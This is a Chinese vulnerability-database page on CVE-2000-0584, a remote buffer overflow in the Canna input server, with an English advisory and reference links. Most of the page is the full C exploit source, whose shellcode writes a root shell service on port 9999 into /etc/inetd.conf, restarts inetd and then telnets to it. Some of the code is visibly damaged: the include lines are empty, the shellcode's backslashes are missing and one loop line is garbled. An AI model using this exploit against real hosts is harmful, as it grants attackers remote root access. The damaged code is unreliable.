Canna远程缓冲区溢出漏洞

Canna远程缓冲区溢出漏洞

漏洞ID 1105906 漏洞类型 缓冲区溢出
发布时间 2000-07-02 更新时间 2005-05-02
图片[1]-Canna远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0584
图片[2]-Canna远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200007-002
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20061
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-002
|漏洞详情
Canna输入系统存在缓冲区溢出漏洞。远程攻击者可以借助带有超长用户名或群组名的SR_INIT命令执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/1445/info


A vulnerability exists in the 'canna' package, as distributed with a number of free operating systems, and available for other systems. Version 3.5b2 is vulnerable. It is assumed versions prior to this are also vulnerable. By supplying an overly large username or groupname with the IR_INIT command, it is possible to trigger a remote buffer overflow condition.

Successful exploitation will enable a remote attacker to execute arbitrary code as the user the canna server is running as.

This vulnerability affects any system with 3.5b2 installed. FreeBSD has canna as part of its ports collection. FreeBSD itself does not install canna; as such, this vulnerability does not affect stock distributions of FreeBSD. 

/*=============================================================================
   Canna35b2 / cannaserver remote buffer overflow exploit for Linux
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define TARGET_PORT 5680
#define COMMAND     0x01
#define VERSION     "3.3"
#define MAXBUF      300
#define MAXPACKET   1000
#define NOP         0x90
#define RET_OFS     255
#define CODE_OFS    50
#define RET         0x7ffffc70 // default (sh)
//#define       RET    0x7ffff760   // default (csh)
//#define       RET    0x7ffff970   // /usr/sbin/cannaserver
//#define       RET    0x7ffff9c0   // /etc/rc.d/init.d/canna

char *shellcode=
"xebx37x5ex31xc0x88x46x07x88x46x0ax88x46x0dx88x46"
"x62x89xf3x89x43x6fx04x08x01xc6x89x73x63x83xc6x03"
"x89x73x67x83xc6x03x89x73x6bx8dx4bx63x8dx53x6fxb0"
"x0bxcdx80xb0x01x31xdbxcdx80xe8xc4xffxffxffx2fx62"
"x69x6ex2fx73x68x2ex73x68x2ex2dx63x2ex65x63x68x6f"
"x20x27x39x39x39x39x20x73x74x72x65x61x6dx20x74x63"
"x70x20x6ex6fx77x61x69x74x20x72x6fx6fx74x20x2fx62"
"x69x6ex2fx73x68x20x73x68x20x2dx69x27x3ex3ex2fx65"
"x74x63x2fx69x6ex65x74x64x2ex63x6fx6ex66x3bx6bx69"
"x6cx6cx61x6cx6cx20x2dx48x55x50x20x69x6ex65x74x64"
"x2ex30x30x30x30x31x31x31x31x32x32x32x32x4ex55x4c"
"x4c";

main(int argc,char *argv[])
{
    int                 sockfd,i;
    struct in_addr      addr;
    struct sockaddr_in  target;
    struct hostent      *hs;
    char                buf[MAXBUF];
    char                packet[MAXPACKET];

    if (argc<2){
        printf("usage : %s TargetHostn",argv[0]);
        exit(1);
    }
    sockfd=socket(AF_INET, SOCK_STREAM, 0);
    target.sin_family=AF_INET;
    target.sin_port=htons(TARGET_PORT);
    if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if ((hs=gethostbyname(argv[1]))==NULL){
            printf("Can not resolve specified host.n");
            exit(1);
        }
        target.sin_family = hs->h_addrtype;
        memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
        printf("Can not connect to %s:%dn",argv[1],TARGET_PORT);
        exit(1);
    } 
    memset(buf,NOP,MAXBUF);
    printf("Jumping Address=%xn",RET);
    buf[300]=0;

    for (i=RET_OFS-32;i>24)&0xff;
        buf[i+2]=(RET>>16)&0xff;
        buf[i+1]=(RET>>8)&0xff;
        buf[i+0]=RET&0xff;
    }
    memcpy(buf+CODE_OFS,shellcode,strlen(shellcode));

    /* Make Packet */
    packet[0]=0x00;
    packet[1]=0x00;
    packet[2]=0x00;
    packet[3]=COMMAND;
    packet[4]=0x00;
    packet[5]=0x00;
    packet[6]=0x00;
    packet[7]=5+strlen(buf);
    sprintf(packet+8,"%s:",VERSION);
    strcpy(packet+12,buf);
    packet[12+strlen(buf)]=0;
    write(sockfd,packet,13+strlen(buf));

    /* Make connection */
    printf("Connected to %dn",TARGET_PORT);
    sleep(3);
    close(sockfd);
    sprintf(packet,"telnet %s 9999",argv[1]);
    system(packet);
}
|参考资料

来源:XF
名称:canna-bin-execute-bo
链接:http://xforce.iss.net/static/4912.php
来源:FREEBSD
名称:FreeBSD-SA-00:31
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:31.canna.asc.v1.1
来源:shadowpenguin.backsection.net
链接:http://shadowpenguin.backsection.net/advisories/advisory038.html
来源:BID
名称:1445
链接:http://www.securityfocus.com/bid/1445

相关推荐: Atmel SNMP public Community or Unknown OID Denial of Service Vulnerability

Atmel SNMP public Community or Unknown OID Denial of Service Vulnerability 漏洞ID 1102637 漏洞类型 Input Validation Error 发布时间 2001-12-2…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享